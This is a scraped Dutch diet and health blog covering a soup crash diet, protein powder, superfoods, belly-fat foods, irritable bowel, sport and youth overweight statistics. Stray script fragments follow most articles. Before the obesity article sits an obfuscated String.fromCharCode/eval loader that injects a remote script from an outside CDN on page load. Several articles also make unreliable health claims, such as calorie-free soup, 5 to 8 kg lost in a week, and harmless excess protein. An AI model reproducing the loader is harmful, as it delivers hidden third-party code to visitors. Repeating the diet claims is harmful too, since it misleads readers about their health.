Vermageren met een soepdieet

soepdieet

Vermageren met een soepdieet

Mag je zoveel soep eten als je maar wilt? De soep die je eet bevat geen calorieën en je zult geen hongerig gevoel krijgen. Een soepdieet is ideaal als je veel wilt afvallen, maar je kunt het soepdieet niet aaneensluitend volgen. Men raadt aan om het soepdieet 7 dagen te volgen, om vervolgens 7 dagen weer gewoon te eten. Na deze 7 dagen kun je opnieuw het soepdieet volgen.Bij een soepdieet kun je binnen korte tijd veel afvallen. Een soepdieet wordt daarom ook wel een crashdieet genoemd. Binnen zeven dagen is het mogelijk om circa 5 tot 8 kilo af te vallen.

Waarom kiezen voor het soepdieet?

Er zijn diverse redenen aan te voeren waarom je voor het soepdieet kunt kiezen. Een soepdieet is vrij goedkoop, je zult vrijwel geen hongergevoel hebben tijdens het volgen van dit dieet en je zult op korte tijd veel kilo’s kwijtraken. Na het soepdieet is het zaak om in de discipline te blijven. Want je kunt als je weer terugvalt je oude patroon weer aankomen. Een soepdieet is echter een prima dieet om voor een week te volgen.

Bij een soep dieet kunt de soepen zelf maken. Hiervoor heb jediverse ingrediënten voor nodig. Denk aan ingrediënten als uien, tomaten, witte kool, paprika’s, soepselder, wortelen, soepmix en vetarme bouillonblokjes. Om de smaak te beïnvloeden kun je onder meer oregano, knoflook, sojasaus, tabasco, peper en rozemarijn gebruiken.

Gedurende een week mag je naast soep ook nog gewoon fruit eten en ook het eten van een gekookte aardappel, op dag twee van het soep dieet, is toegestaan. Wel dien je je te houden aan het voedingsschema per dag. Iedere dag is het de bedoeling dat je iets anders eet. Op dag 5 mag je ook rundvlees, vis op kip eten. Dit in combinatie met tomaten. Veel water drinken is tijdens het soep dieet ook essentieel.

Hierbij het soep dieet in de praktijk:

Dag 1: Alle soorten fruit mag je eten, enkel behalve bananen uitgezonderd.Eet soep zoveel je wil en als je zin hebt. Ook watermeloen en meloenen hebben minder calorieen dan de meeste fruitsoorten.

Dag 2: Vanaf dag 2 zijn alle groenten toegestaan en eet ondertussen zoveel van de soep als je zin hebt. Probeer zoveel mogelijk groene bladgroenten te eten en vermijd het liefst mogelijke gedroogde bonen, mais en erwten.
Bij het avondmaal mag je een gekookte aardappel in de schil of oven met wat boter eten. Eet dan geen fruit!

Dag 3: Eet zoveel fruit, groenten en soep als je wil, deze dag is de aardappel niet toegestaan om te eten.

Dag 4: Eet bananen en drink magere malk. Drink zoveel soep als je zelf wil en zin hebt. Je mag nu als uitzondering tot acht bananen eten! Drink hiernaast ook zoveel mogelijk water. Bananen hebben enorm veel calorieen en koolhydraten en dit evenééns voor de magere melk. Maar op deze dag heeft je lichaam dit zeker en vast nodig, vooral het kalium in de bananen. De koolhydraten komen na de vorige dagen goed van pas en door de zeer zoete smaak van bananen zul je vast minder zin hebben in zoetigheid.

Dag 5: Vandaag mag je onbeperkt soep eten, tomaten is maximaal 6 en vis of vlees is maximum 450 gram toegestaan.

Dag 7: Naast de soep mag je vandaag vers geperst fruitsap drinken met ernaast bruine rijst met groenten. De hoeveelheden zijn onbeperkt.

WIL JE EEN SOEPDIEET UITPROBEREN? KLIK HIER !var /*674867468*/

Afvallen met eiwitpoeder

eiwitpoeder

Wilt u ook zo graag afvallen, maar heeft u al verschillende keren diëten geprobeerd? Werken de meeste diëten niet of maar tijdelijk? Dan moet u zeker het eiwitpoeder dieet proberen. Veel bekende en onbekende Nederlanders zijn u voorgegaan en hebben de resultaten ondervonden. U wordt slank en nog mooier u blijkt slank, zolang u een beetje let op uw eetgewoontes.

Waarom afvallen met eiwitten?

Het idee achter het dieet is dat u vooral veel eiwit nuttigt, waardoor u minder honger krijgt. Het eten van veel eiwitten zorg namelijk dat u een vol gevoel krijgt, waardoor u minder andere voedingsmiddelen zal nuttigen.
Van nature krijgt u al genoeg eiwitten binnen, maar bij dit dieet is het zaak dat u meer eiwitten binnen krijgt dan nodig is. Het teveel eiwitten binnen krijgen is niet schadelijk blijkt uit verschillende onderzoeken. Dit is dus een veilige en verantwoorde manier van afvallen. Als u eenmaal het gewenste lichaam heeft is het alleen nog maar zaak om niet te veel te eten en niet in uw vroegere eetgewoontes te vervallen. Mocht dit wel gebeuren, dan kunt u het weer oplossen door weer meer eiwitten te eten.
Om zoveel mogelijk eiwitten binnen te krijgen is het handig om voedingssupplementshakes te maken. Deze eiwitshakes hoeven niet vies te zijn, je kunt namelijk ook eiwitpoeder kopen met een smaakje, bijvoorbeeld chocolade of vanille. Deze poeder kun je op laten lossen in melk. Het afvallen met eiwitpoeder helpt echt.Als u dit dieet ook wil proberen, dan kunt u op internet voldoende sites vinden waar u deze eiwitpoeders kunt kopen. Het is zeker een aanrader.var /*674867468*/

De beste 5 eiwit bronnen voor gewichtsverlies

 

Gewicht verliezen kan je op een efficiënte manier doen door de koolhydraten (brood, suikers, snoepgoed, granen) in je dieet te vervangen door eiwitten. Een gezond eiwitrijk dieet kan je helpen snel gewicht te verliezen. We lijsten even enkele van de beste eiwitbronnen op die je makkelijk in je voeding kan verwerken.

Wilde zalm is een uitstekende bron van eiwitten. Vis en vlees zijn van nature rijk aan eiwitten en arm aan suikers en zalm is op dat vlak één van de beste vissen die je kan eten. Zalm heeft een rijke textuur die je op allerlei manieren in je maaltijden kan verwerken. Buiten eiwitten bevat wilde zalm ook mineralen, gezonde omega-3 vetten en vitaminen.

Dat eieren veel eiwitten bevatten hoeft niemand te verwonderen. Enkele gezonde scharreleieren bij een maaltijd zijn een uitstekende bron van natuurlijke eiwitten.

Noten zijn een bron van eiwitten en gezonde vetten. Er zijn erg veel soorten noten waaruit je kan kiezen: cashewnoten, walnoten, pistachenoten en amandelen hebben elk een unieke smaak, zodat je ze op een gevarieerde manier in je dieet kan verwerken.

Zaden zijn net als noten rijk aan eiwitten en vetten die thuishoren in een gezond en gebalanceerd dieet. Enkele van de gezondste zaden die je in je maaltijden kan verwerken zijn hennep en chiazaad. Chiazaad bevat trouwens ook veel vezels die je helpen een evenwichtige spijsvertering te behouden, wat erg handig kan zijn wanneer je van voedingspatroon verandert. Verwerk deze zaden op regelmatige basis in je dieet en je krijgt zonder problemen voldoende eiwitten binnen.

Een laatste bron van eiwitten vind je in spirulina, een voedingssupplement dat bestaat uit twee soorten cyanobacterieën, kleine micro-organismen die erg rijk zijn aan proteïnen (ongeveer 70% van de cellen bestaat uit proteïne) en andere voedingsstoffen die je lichaam nodig heeft, maar nauwelijks suikers. Je kan spirulina inkopen als tabletten of als poeder.

Er zijn ook kant en klare eiwit diëten zoals Vitadis waar je mee aan de slag kunt als je gemakkelijk wilt afvallen. De basis tips voor afvallen blijven onveranderd: eet veel groentes en gezonde vetten, eet voldoende eiwitten en eet weinig koolhydraten.

Snel afvallen

var /*674867468*/

Vermageren met het zelfslank plan

Afvallen, voor sommige mensen is het een serieus probleem. Er zijn zo enorm veel mogelijkheden rondom het afvallen, het volgen van verschillende diëten en ga zo maar door. Er zijn zoveel mogelijkheden dat veel mensen niet meer weten waar ze nou het beste kunnen beginnen.

BMI
Er zijn diverse redenen waarom mensen willen of moeten afvallen. Veel mensen zijn van mening dat ze zichzelf te dik of te stevig vinden, en willen daarom graag wat kilo’s kwijt. Helaas zijn er ook mensen waarbij het noodzakelijk is dat zij afvallen. Er wordt ook wel gekeken naar een gezond gewicht. Wanneer er wordt gesproken over een gezond gewicht wordt er ook wel gekeken naar het BMI. Wanneer u een te hoge BMI heeft is het noodzakelijk om af te vallen.

Afvallen
Wanneer men begint met een dieet dan gaat het vaak in de eerste paar weken enorm goed. Mensen willen echter snel afvallen. In de eerste weken lukt dit vaak goed, maar na verloop van tijd ontstaat er steeds meer moeite met het afvallen. Dit heeft gedeeltelijk te maken met het feit dat het afvallen na een aantal weken steeds langzamer gaat. Snel afvallen is iets dat iedereen graag wilt. Het is echter belangrijk dat men zich hier niet op blind staart.

Een zelfslank plan
Er zijn diverse methodes om in een korte tijd zoveel mogelijk kilo’s kwijt te raken. Snel afvallen is natuurlijk ook iets dat iedereen graag wilt. Zo snel mogelijk resultaat zien en ook constant goede resultaten blijven behalen. Het zelfslank plan zorgt er voor dat u niet terug valt in uw oude patroon, wat uiteraard erg verleidelijk is. Er wordt dan ook wel gesproken van een jojo-effect. Met het zelfslank plan kunt u dit voorkomen. Het zelfslank plan is zo in elkaar gezet dat het de perfecte methode is om snel afvallen te kunnen waar maken.

Heeft u een te hoge BMI? Bent u opzoek naar een goed dieet? Wilt u snel afvallen in een korte tijd? Dan is het zeker een aanrader om de methode van het zelfslank plan eens te bekijken. Vele volgde deze methode al met succes.   var /*674867468*/

Darmkracht

prikkelbare darmEen prikkelbare darm, veel mensen hebben er regelmatig last van. Wat men echter niet realiseert is dat het hebben van een prikkelbare darm enorm veel klachten kan veroorzaken. Maar hoe kunt u nou het beste om gaan met een prikkelbare darm, en is er wel iets aan te doen?

 

 

Een prikkelbare darm

Het hebben van een prikkelbare darm is enorm vervelend. Het kan namelijk diverse klachten met zich mee brengen. Zo kunt u diverse buikklachten krijgen. Er zijn diverse artsen die aangeven dat er geen oplossingen zijn voor het hebben van een prikkelbare darm. Dat is echter niet zo. Er zijn diverse oplossingen die kunnen worden uitgevoerd tegen de prikkelbare darm. Hoe fijn zou het zijn, om weer een probleemloze spijsvertering te hebben?
Voor er kan worden gekeken naar de oplossing, is het van belang om eerst te zoeken naar de oorzaak van de klachten.

prikkelbare darmHoe ontstaat een prikkelbare darm?
Een prikkelbare darm kan door verschillende zaken veroorzaakt worden. Tevens zijn er vaak geen directe verklaringen waarom men last krijgt van deze klachten. Er zijn echter wel diverse omstandigheden en factoren die een grote rol kunnen spelen bij het veroorzaken van een prikkelbare darm. Hierbij kunt u onder andere denken aan obesitas.

De oplossing
In veel gevallen heeft obesitas een groot aandeel in het ontstaan van een prikkelbare darm. Er zijn diverse oplossingen om de obesitas de baas te zijn en daarmee tevens weer een probleemloze spijsvertering te hebben. Goede voeding is de basis van alles. Daarnaast is het belangrijk om wat kilo’s kwijt te raken. Een gezond dieet kan u bij het afvallen helpen. Snel afvallen helpt vaak enorm goed tegen de klachten van een prikkelbare darm. Het is van belang dat u gaat kijken welke goede voeding er nodig is om van uw klachten af te komen. Ook moet er een gezond dieet worden opgesteld waarmee u kunt afslanken. Tijdens en voornamelijk na het afvallen zult u direct resultaat merken. Zo kunt u eindelijk weer een probleemloze spijsvertering hebben zonder ook maar enige klachten. Afvallen, afslanken, gezonde voeding en een gezond dieet zijn dus de oplossing bij prikkelbare darmen.var /*674867468*/

Waarom zou je gaan sporten? Voor en nadelen

Running with Music

Sporten

Er zijn veel redenen aan te voeren waarom je zou moeten gaan sporten. We hebben de voordelen van het beoefenen van een sport op een rij gezet en als je nog niet aan het sporten bent zouden deze argumenten eigenlijk voldoende moeten zijn om je te overtuigen om te gaan sporten.

Het is bewezen dat sporten goed is voor je bloedsuikergehalte

  • Sporten verlaagt de bloeddruk
  • Door te sporten heb je een kleinere kans op een beroerte, hartkwaal en darmkanker
  • Je botten worden gezonder en sterker
  • Je krijgt een betere conditie en sterkere longen
  • Sporten geeft je een gezonde huidskleur
  • Als je overgewicht hebt kun je door te sporten sneller afvallen
  • Je krijgt een betere bloedsomloop

Naast de lichamelijke voordelen zijn er ook mentale voordelen. Als je in teamverband sport ontmoet je mensen, door te sporten kunnen je je pijngrens verleggen, je leert je zelf kennen door regelmatig tot het uiterste te gaan en je wordt simpelweg sportiever.

gezonde sport Welke sport beoefenen?
Als je snel conditie op wilt bouwen is een sport als hardlopen ideaal, maar niet iedereen vindt hardlopen een aangename sport om te beoefenen. Het is een sport die blessuregevoelig is en veel mensen hebben tijdens het hardlopen last van uiteenlopende klachten. Deze klachten variëren van kortademigheid tot pijn in de zij. Er zijn gelukkig voldoende andere sporten die je kunt beoefenen. Denk aan zwemmen, roeien, tennis, wielrennen of voetbal. En er zijn natuurlijk nog vele andere sporten die je kunt doen. Kies de sport uit waar je plezier aan beleeft. Dat is het belangrijkste.

Bouw het sporten rustig op. Ga niet meteen als een dolle stier aan de slag, maar gebruik een trainingsschema. Het is goed om het rustig op te bouwen als je lange tijd niet aan lichaamsbeweging hebt gedaan. Dit is belangrijk, want zo voorkom je dat je allerlei blessures krijgt. Ook al kun je een volgende stap conditioneel gemakkelijk aan; je lichaam zal moeten wennen aan de inspanningen die je doet. Geef jezelf dus voldoende tijd en raak vooral niet gefrustreerd als het even niet loopt zoals je het misschien zou willen. Dit soort dingen hebben tijd nodig.var /*674867468*/

Gezond mogelijk leven wil iedereen

gezondheidGezondheid

Vrijwel alle mensen willen het liefst zo gezondheid mogelijk leven. Wanneer je gezond voelt en wanneer dit ook daadwerkelijk zo is, kun je er vanuit gaan dat je grotere kans hebt om op een gezonde manier oud te worden. Gezond leven is niet eenvoudig, want dagelijks heb je dilemma’s. Zal ik buiten gaan joggen of zal ik die ene film bekijken vanuit de luie zetel. Ook mineralen spelen een belangrijke rol mbt de gezondheid. Het is dan verleidelijk om het laatste te verkiezen boven een gezonde wandeling of een rondje rennen, maar beweging is essentieel als je in een goede gezondheid wilt blijven.


Verleidingen

Er zijn uiteraard vele verleidingen. Denk aan drank en lekker eten, maar het is vooral zaak om hier met mate van te genieten. Uiteraard kun je op zijn tijd een zak chips opentrekken, maar doe dit niet te vaak en maak er geen gewoonte van. Want als dat gebeurt, heb je kans dat je vele kilo’s aankomt en ernstig overgewicht kan erg schadelijk zijn voor je lichaam.

Sporten

Sporten is in elk geval een goede manier om er voor te zorgen dat je gezond blijft. Er zijn criticasters die stellen dat je door sporten allerlei blessures kunt oplopen en dat dit de gemeenschap veel geld kost. Mensen kunnen immers arbeidsongeschikt raken door sporten, maar sporten is bovenal gezond. Iedere dag een half uurtje bewegen doet de mens goed.

Ook als het gaat om de psychische gezondheid is sporten aan te raden. Uit onderzoek is ook gebleken dat het goed is om regelmatig te sporten. Mensen die niet sporten, hebben een grotere kans op het krijgen van angststoornissen, depressieve gevoelens en gedrag dat onder agressie valt. Door te sporten maakt het lichaam de stof endorfine aan en onder andere hierdoor voelen veel mensen zich veel beter in hun vel.

Gezond eten
Sporten alleen is niet voldoende. Je kunt sporten en tegelijkertijd veel fastfood en snacks eten, maar dan ben je natuurlijk niet goed bezig. Een gevarieerd voedingspatroon is essentieel als je gezond wilt blijven. Eet voldoende fruit en groenten. Op restaurant gaan is zeker iets wat je niet moet nalaten, maar veel ongezond eten is iets wat je moet voorkomen.

var /*674867468*/

Superfoods, een groep gezonde voedingsmiddelen

superfoodsSuperfoods zijn een groep natuurlijke voedingsmiddelen met extra voordelen voor je gezondheid. Superfoods bevatten van nature weinig calorieën, maar zitten wel bomvol met belangrijke voedingsstoffen, zoals antioxidanten, vitaminen en mineralen. Dit zijn altijd voedingsstoffen die je lichaam niet zelf kan aanmaken en die je dus via je voeding binnen moet krijgen.

 

Welke voedingsmiddelen vallen er zoal in de categorie ‘superfoods’? Hier kun je onder meer denken aan chiazaden, hennepzaden, gojibessen, lijnzaad, bijenpollen, bosbessen, rauwe cacao, incabessen, groene thee, noten en quinoa. Veel van deze ingrediënten zijn heerlijk voor in de havermout, een voedingsmiddel dat zelf trouwens ook enorm goed voor je gezondheid is, door zijn hoge gehalte aan vezels en vitamine B.

Essentiële voedingsstoffen in superfoods

Om je goed te voelen is gezond, puur en gevarieerd eten cruciaal. Tegenwoordig is er veel ongezonde voeding te koop, wat ervoor zorgt dat mensen zich vaak lusteloos voelen en ook steeds dikker worden. Een goede gezondheid begint met het consumeren van gezonde voeding. Doe je dit, dan zul je snel merken dat je weerstand omhoog gaat en je meer energie hebt. Ook je huid en haar zullen er gauw beter uit gaan zien.

Veel verse groente en salade eten is de basis van een gezond dieet. Superfoods kunnen hierbij helpen, omdat ze ontzettend rijk aan essentiële voedingsstoffen voor je lichaam zijn. Naast belangrijke vitaminen en mineralen bevatten ze vaak ook gemakkelijk te verteren eiwitten (denk hier bijvoorbeeld aan hennepzaad), plantaardig calcium (bijvoorbeeld in chiazaad) en antioxidanten (bijvoorbeeld in rauwe cacao). Het eten van superfoods betekent dus een enorme boost voor je gezondheid.

Groene smoothies en gezonde poeders

Superfoods zijn tegenwoordig helemaal hot. Veel mensen willen gezonder leven en realiseren zich dat zij daarvoor beter moeten gaan eten. Een van de tips die je veel tegen zult komen, is om elke dag een groene smoothie te drinken. Groene smoothies bestaan uit diverse verse groenten zoals broccoli of spinazie, een beetje fruit, verse kruiden en doorgaans ook een lepel voedingsrijk poeder.

Deze groene poeders worden als superfood bestempeld, omdat ze rijk zijn aan eiwitten, belangrijke enzymen of bijvoorbeeld calcium. Hier kun je onder meer denken aan spirulina, een poeder van gedroogd zeewier, gerst, tarwegras, henneppoeder en chlorella. Ook aloë vera is een belangrijke superfood voor gezonde groene smoothies.

Kortom, het eten van superfoods zal je helpen gemakkelijker een gezond eetpatroon te krijgen en je daardoor snel beter te voelen!var /*674867468*/

Top 10 Buikvet Verbrandende Producten

Wat je eet is ontzettend belangrijk wanneer je wilt afvallen. Wil je specifiek buikvet verbranden, dan zijn er enkele producten die je daarbij kunnen helpen. Vergeet echter niet dat gezond gewichtsverlies ook een hoeveelheid lichaamsbeweging vraagt (minimaal 30 minuten per dag lopen of fietsen).

Er zijn geen echte wondermiddeltjes, maar wanneer je de volgende voedingsproducten op een regelmatige manier in je dieet verwerkt, kan je zonder problemen enkele kilootjes meer verbranden. We doorlopen even een handige top tien van de beste buikvet verbrandende producten. Ze bevatten vaak veel hoge kwaliteit proteïnen en gezonde vetten en natuurlijke vezels. Zo blijft je bloedsuikerspiegel en insuline niveau gedurende de dag stabiel, en daardoor verbrand je sneller vet.

Verwerkt de volgende 10 producten in je dagelijkse voedingspatroon en vermeid snelle koolhydraten en je zal binnen een week al duidelijke verschillen zien in je lichaamsfiguur.

Vette vis: Het klinkt misschien een beetje tegenstrijdig. Je moet vette vis eten om vet te verbranden. Maar uit onderzoek blijkt dat juist deze vette vis je lichaam schone energie geeft. Met deze schone energie blijft je bloedsuikerspiegel stabiel en zal je makkelijk gewicht verliezen.

Kip: En kippenborst bestaat uit mager en gezond vlees waar je niet dik van wordt, maar waar je lichaam wel heel wat werk mee heeft om het af te breken.

Groene Thee: Deze wonderdrank heeft al meermaals zijn effect bewezen als vetverbrander. Dat komt omdat groene thee je metabolisme versnelt en daardoor verbrandt je sneller vet.

Natuurlijke oliën: De beste natuurlijke oliën zijn extra vergine olijfolie, lijnzaadolie en kokosnoot olie. De vetten in deze oliën zullen een honger gevoel voorkomen. De vette bevatten zelf namelijk genoeg energie voor je lichaam om op te functioneren. Zo heb je verder minder eten nodig.

Rode pepers: Deze pepers verhitten niet alleen je tong, maar ook je hele lichaam, omdat ze een stof bevatten die capsaïcine heet. Hiermee stook je bijna letterlijk de ovens in je lichaam aan en verbrand je zo sneller vet.

Tonijn: deze proteïne-rijke vis is erg mager en zorgt ervoor dat je lichaam hard moet werken om het te verteren. Kijk wel uit met eventuele zware metalen die je in deze vis tegenkomt. Alhoewel tonijn je helpt buikvet te verbranden. Het is beter om de vis niet meer dan 1 keer per week te eten.

Kikkererwten: Deze erwten werken op een gelijkaardige manier als linze. Ze vormen een uitstekende bron van gezonde eiwitten.

Knoflook: Mineralen en oliën in knoflook zwengelen de vet verbrandende processen in je lichaam aan.

Broccoli: Super gezond, bevat nauwelijks calorieën en helemaal geen vet, maar wel vezels en vitaminen.

Noten en zaden: in de prehistorie bestond het voedingspatroon uit veel noten en zaden. De noten en zaden zitten vol goede voedingsstoffen die afvallen rond te buik bevorderen. Je kunt de noten en zaden het best rauw en ongezout eten. Let op: pinda’s zijn geen noten.

Met deze voedingsstoffen moet het je lukken om al het overtollig vet rond je buik (of zelf obesitas) weg te krijgen. Of het nou 20 kilo is of net dat laatste randje buikvet.

var /*674867468*/var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);

Overgewicht en obesitas

Obesity Health Risk

Ongeveer 15 procent van de Nederlandse jongeren van 2 tot en met 25 jaar kampt met overgewicht, bij 3 procent kampt men met ernstige overgewicht. Toch denkt men dat dit niet zo erg is en men in een goede gezondheid verkeerd. Dat blijkt uit onderzoek van het Nederlands Centraal Bureau van de statistiek (CBS).

Jongeren in huishoudens met een miniem inkomen hebben steeds vaker een overgewicht of doelen ernaar, zo heeft 19 procent van de jongeren in een huishouden in de laagste inkomensgroep overgewicht. Tegenover 11 procent van de 2 tot en met 25 jarigen in de hoogste inkomensgroep.

Ernstig overgewicht komt dan onder jongeren in de laagste inkomensklasse 3 keer zo vaak meer voor als onder leeftijdsgenoten in de hoogste inkomensklassen.

(Ernstig) overgewicht onder jongeren (2 tot 25 jaar) naar inkomensgroep, 2010/2012.

overgewicht

Bij de jongeren beoordeelt 93 procent hun gezondheid als goed of zeer goed en jongeren in huishoudens met een lagere inkomen geven toch iets minder dikwijls aan een goede standaard gezondheid te hebben dan jongeren uit huishoudens met een hoger inkomen.

Jongeren (0 tot 25 jaar) met een als (zeer) goed ervaren gezondheid naar inkomensgroep, 2010/2012.

overgewicht

Twee op de drie jongeren hebben blijkbaar ten minste één maal de dokter bezocht in het voorgaande jaar. Onder jongeren in de laagste inkomensgroep ligt dit percentage iets hoger (69 procent) dan in de hoogste inkomensgroep (64 procent). Daarentegen is iets minder dan 80 procent van de jongerne in de laagste inkomensgroep de laatste 12 maanden bij de tandarts geweest, tegenover deze doelgroep is het ruim 86 procent bij de hoogste inkomensgroep. Ook bij de fysiotherapeut wordt door de jongeren uit de hoogste inkomensgroep wat vaker bezocht.

Bezoeken aan zorgverleners in de afgelopen 12 maandeen door jongeren (0 tot 25 jaar) naar inkomensgroep, 2010/2012.

analyse3

var /*674867468*/